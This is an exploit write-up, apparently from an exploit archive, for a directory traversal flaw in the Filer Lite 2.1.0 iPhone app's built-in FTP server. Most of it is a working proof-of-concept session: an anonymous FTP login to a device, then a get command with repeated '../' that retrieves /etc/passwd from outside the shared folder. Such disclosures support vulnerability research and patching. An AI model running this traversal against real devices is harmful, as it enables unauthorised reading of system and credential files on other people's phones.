Filer Lite 2.1.0 For iPhone / iPod Touch Directory Traversal

`# Exploit Title: Filer Lite v2.1.0 for iPhone / iPod touch, Directory Traversal  
# Date: 02/24/2011  
# Author: R3d@l3rt, Sp@2K, Sunlight, H@ckk3y  
# Software Link : http://itunes.apple.com/kr/app/filer-lite-download-view-manage/id350939597?mt=8  
# Version: 2.1.0  
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware   
  
# There is directory traversal vulnerability in the Filer Lite.   
# Exploit Testing  
  
C:\>ftp  
ftp> open 192.168.0.70 2121  
Connected to 192.168.0.70.  
220 DiddyFTP server ready.  
User (192.168.0.70:(none)): anonymous  
331 Password required for anonymous  
Password:  
230 User anonymous logged in.  
ftp> dir  
200 PORT command successful.  
150 Opening ASCII mode data connection for '/bin/ls'.  
total 1  
drwxr-xr-x 2 mobile mobile 136 Feb 24 15:42 Filer Help Files  
226 Transfer complete.  
ftp: 81 bytes received in 0.00Seconds 81000.00Kbytes/sec.  
ftp> get ../../../../../etc/passwd  
200 PORT command successful.  
150 Opening BINARY mode data connection for '../../../../../etc/passwd'.  
226 Transfer complete.  
`